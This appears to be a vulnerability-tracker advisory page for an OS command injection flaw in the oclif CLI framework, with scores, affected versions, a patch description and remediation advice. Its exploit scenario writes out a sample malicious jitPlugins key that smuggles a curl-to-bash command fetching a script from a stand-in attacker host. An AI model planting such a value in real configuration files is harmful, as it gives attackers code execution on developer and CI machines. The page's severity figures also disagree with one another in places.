Skip to main content

oclif CVE-2026-16628

| EUVDEUVD-2026-47832 LOW
OS Command Injection (CWE-78)
2026-07-22 VulDB GHSA-h75p-gxr9-842c
1.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain write access to target package.json
  2. Delivery
    Inject shell metacharacters into jitPlugins key
  3. Exploit
    Victim runs oclif manifest command
  4. Execution
    child_process.exec() passes crafted string to OS shell
  5. Impact
    Injected commands execute as invoking user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the attacker must have write access to a package.json file that is subsequently processed by the oclif manifest command - this could be via a supply-chain compromise of a dependency, a malicious commit to a repository, or direct local filesystem access; (2) the package.json must contain an oclif.jitPlugins configuration block, which is a non-default, opt-in feature used by CLIs that load plugins on demand; (3) a user or automated pipeline must invoke oclif manifest against that file. Exploitation is limited by local attack vector only - it cannot be triggered remotely without first achieving file-write capability. The PR:L metric indicates the attacker needs at least standard user-level privileges on the system or repository access. Environments that do not use the jitPlugins feature are not affected even if running a vulnerable oclif version.

Impact

The CVSS 4.0 score of 4.8 with vector AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P accurately reflects the constrained real-world risk. The local attack vector and requirement for write access to a package.json containing oclif.jitPlugins configuration significantly limit the exploitable population - this is not a remotely triggerable flaw in a network service. The EPSS data is not provided in this record; however, the E:P exploit maturity flag and the public PoC on GitHub (issue #2051) elevate urgency for affected development and CI environments where package.json files might be controlled by untrusted parties or supply-chain contributors. Impact is assessed as limited (C:L/I:L/A:L) since the injected commands run under the existing user's privilege level with no scope change to other systems. This is a real but narrow-scope developer-toolchain issue rather than a broadly weaponizable network flaw.

Exploit ScenarioDerived

An attacker with write access to a package.json file - via a malicious npm dependency, a compromised supply-chain contributor, or direct filesystem access - plants a jitPlugins entry whose key contains shell metacharacters, such as '@legitimate/plugin; curl http://attacker.example/shell.sh | bash #'. When a developer or CI pipeline runs oclif manifest against that package, child_process.exec() passes the crafted string to /bin/sh, executing the injected command under the invoking user's privileges. The public PoC (GitHub issue #2051) demonstrates this with a file-write payload, confirming practical exploitability.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 1.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

OS command injection in oclif up to 4.23.16 allows a local attacker who can control the jitPlugins configuration to execute arbitrary shell commands through the JIT Plugin Entry Handler's unsafe use of child_process.exec. The root cause is that plugin names from the oclif.jitPlugins field in package.json are interpolated directly into shell command strings passed to exec(), enabling shell metacharacter injection. A public exploit exists (GitHub issue #2051) and a patch has been released replacing exec() with cross-spawn's argument-array-based spawn().

RemediationAI

The upstream fix is available as commit 939b045725e065baebc4587b8bccfd56731eed3d on GitHub (https://github.com/oclif/oclif/commit/939b045725e065baebc4587b8bccfd56731eed3d) via PR #2052; however, a specific released npm package version number is not independently confirmed from the available data - verify the fixed version on the oclif npm registry page before upgrading. The fix replaces child_process.exec() with cross-spawn's spawn() and argument arrays, eliminating shell interpolation of plugin names. As a compensating control where upgrading is not immediately possible, restrict write access to any package.json files consumed by oclif manifest to trusted principals only, and audit existing oclif.jitPlugins keys for shell metacharacters (semicolons, backticks, pipe characters, dollar signs). Do not run oclif manifest against untrusted or externally sourced package.json files. CI pipelines that invoke oclif manifest on developer-supplied configs are at elevated risk until patched.

Affected VersionsENISA

oclif 4.23.12
oclif 4.23.0
oclif 4.23.8
oclif 4.23.7
oclif 4.23.5
oclif 4.23.13
oclif 4.23.11
oclif 4.23.2
oclif 4.23.6
oclif 4.23.14
oclif 4.23.9
oclif 4.23.10
oclif 4.23.1
oclif 4.23.3
oclif 4.23.4
oclif 4.23.16
oclif 4.23.15

Affected Packages

euvd oclif no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

oclif is the Open CLI Framework maintained by Salesforce for building Node.js command-line interfaces. The affected component is the manifest command's executeCommand helper (src/commands/manifest.ts), which used Node.js's child_process.exec() to run npm pack and tar commands. exec() passes its first argument to the OS shell as a single string, making it vulnerable to shell injection when unsanitized user-controlled data is interpolated into the command string. Specifically, jitPlugin keys from package.json (the oclif.jitPlugins map) were embedded directly into the shell string without escaping. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause class. The fix (commit 939b045725e065baebc4587b8bccfd56731eed3d, PR #2052) replaces exec() with cross-spawn's spawn() and passes all arguments as a discrete string array, bypassing shell interpretation entirely. Affected CPE: cpe:2.3:a:n/a:oclif:*:*:*:*:*:*:*:* up to version 4.23.16.

Know when Oclif gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 1.9 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.3 MEDIUM

Local-only attack via controlled config file requiring filesystem write access (PR:L, AV:L); no scope change, limited confidentiality, integrity, and availability impact matching CVSS 4.0 baseline.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Jul 22, 2026 - 22:22 NVD
MEDIUM LOW
CVSS changed
Jul 22, 2026 - 22:22 NVD
4.8 (MEDIUM) 1.9 (LOW)
CVE Published
Jul 22, 2026 - 21:00 cve.org
MEDIUM 4.8

DescriptionCVE.org

A vulnerability was detected in oclif up to 4.23.16. Affected by this vulnerability is the function child_process.exec of the component JIT Plugin Entry Handler. Performing a manipulation of the argument jitPlugins results in os command injection. The attack is only possible with local access. The exploit is now public and may be used. The patch is named 939b045725e065baebc4587b8bccfd56731eed3d. To fix this issue, it is recommended to deploy a patch.

Threat Intelligence Overview

EPSS Score
1.1%
Top 38% exploitable
Prevalence
Low
developer-focused CLI framework, niche compared to core Node.js tooling
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy